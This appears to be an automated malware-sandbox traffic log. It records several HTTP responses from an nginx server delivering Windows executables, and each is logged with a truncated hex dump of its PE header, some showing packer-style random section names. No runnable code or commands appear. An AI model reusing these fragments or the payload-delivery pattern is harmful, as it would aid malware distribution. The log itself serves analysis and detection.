a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:52:59 GMTContent-Type: application/octet-streamContent-Length: 1904128Last-Modified: Tue, 26 Nov 2024 21:29:17 GMTConnection: keep-aliveETag: "67463dad-1d0e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4b 00 00 04 00 00 bb e7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 60 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 60 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 79 76 6b 65 61 6f 6e 00 00 1a 00 00 70 31 00 00 f2 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 71 6e 72 68 65 67 6c 00 10 00 00 00 70 4b 00 00 04 00 00 00 e8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4b 00 00 22 00 00 00 ec 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:53:19 GMTContent-Type: application/octet-streamContent-Length: 26987008Last-Modified: Tue, 26 Nov 2024 19:33:29 GMTConnection: keep-aliveETag: "67462289-19bca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 27 00 7c 94 00 00 c6 9b 01 00 dc 05 00 d0 13 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 10 a2 01 00 04 00 00 14 2e 9c 01 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 50 9f 01 59 02 00 00 00 60 9f 01 68 25 00 00 00 00 00 00 00 00 00 00 00 30 95 01 2c dc 03 00 00 00 00 00 00 00 00 00 00 b0 9f 01 08 5b 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 1b 95 01 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 68 9f 01 98 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 7a 94 00 00 10 00 00 00 7c 94 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 d0 21 79 00 00 90 94 00 00 22 79 00 00 80 94 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 50 6c 87 00 00 c0 0d 01 00 6e 87 00 00 a2 0d 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 2c dc 03 00 00 30 95 01 00 de 03 00 00 10 95 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 68 50 00 00 00 10 99 01 00 52 00 00 00 ee 98 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 80 db 05 00 00 70 99 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 65 64 61 74 61 00 00 59 02 00 00 00 50 9f 01 00 04 00 00 00 40 99 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 68 25 00 00 00 60 9f 01 00 26 00 00 00 44 99 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 60 00 00 00 00 90 9f 01 00 02 00 00 00 6a 99 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 a0 9f 01 00 02 00 00 00 6c 99 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 08 5b 02 00 00 b0 9f 01 00 5c 02 00 00 6e 99 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:54:06 GMTContent-Type: application/octet-streamContent-Length: 4459008Last-Modified: Tue, 26 Nov 2024 21:23:47 GMTConnection: keep-aliveETag: "67463c63-440a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 f0 c7 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c8 00 00 04 00 00 75 a8 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 d5 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 d5 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 38 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 70 64 6c 79 72 6c 00 a0 1b 00 00 40 ac 00 00 98 1b 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 74 66 6f 77 77 74 00 10 00 00 00 e0 c7 00 00 04 00 00 00 e4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 c7 00 00 22 00 00 00 e8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:54:18 GMTContent-Type: application/octet-streamContent-Length: 189568Last-Modified: Tue, 26 Nov 2024 21:48:38 GMTConnection: keep-aliveETag: "67464236-2e480"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 4b d6 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9a 01 00 00 a0 00 00 00 00 00 00 ec b2 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 03 00 00 06 00 00 a2 c0 03 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 11 02 00 28 00 00 00 00 10 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 02 00 80 2e 00 00 00 70 02 00 20 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 b7 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 b0 12 02 00 30 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 99 01 00 00 10 00 00 00 9a 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 72 00 00 00 b0 01 00 00 74 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 20 00 00 00 30 02 00 00 10 00 00 00 14 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 31 30 63 66 67 00 00 08 00 00 00 00 60 02 00 00 02 00 00 00 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 20 16 00 00 00 70 02 00 00 18 00 00 00 26 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 52 4f 4c 00 00 00 00 00 76 00 00 00 90 02 00 00 76 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 10 03 00 00 02 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:54:24 GMTContent-Type: application/octet-streamContent-Length: 1907200Last-Modified: Tue, 26 Nov 2024 21:29:03 GMTConnection: keep-aliveETag: "67463d9f-1d1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 60 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4b 00 00 04 00 00 0f b5 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 5c 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 90 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 7a 71 76 63 61 70 6b 00 80 1a 00 00 d0 30 00 00 80 1a 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 76 72 66 6b 74 66 79 00 10 00 00 00 50 4b 00 00 06 00 00 00 f2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4b 00 00 22 00 00 00 f8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:54:35 GMTContent-Type: application/octet-streamContent-Length: 1824256Last-Modified: Tue, 26 Nov 2024 21:29:10 GMTConnection: keep-aliveETag: "67463da6-1bd600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 a0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 69 00 00 04 00 00 10 c9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 74 6c 6f 71 74 71 61 00 40 1a 00 00 50 4f 00 00 36 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 66 74 6f 75 75 79 75 00 10 00 00 00 90 69 00 00 06 00 00 00 ae 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 69 00 00 22 00 00 00 b4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 21:54:44 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Tue, 26 Nov 2024 20:23:58 GMTConnection: keep-aliveETag: "67462e5e-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 56 2e 46 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 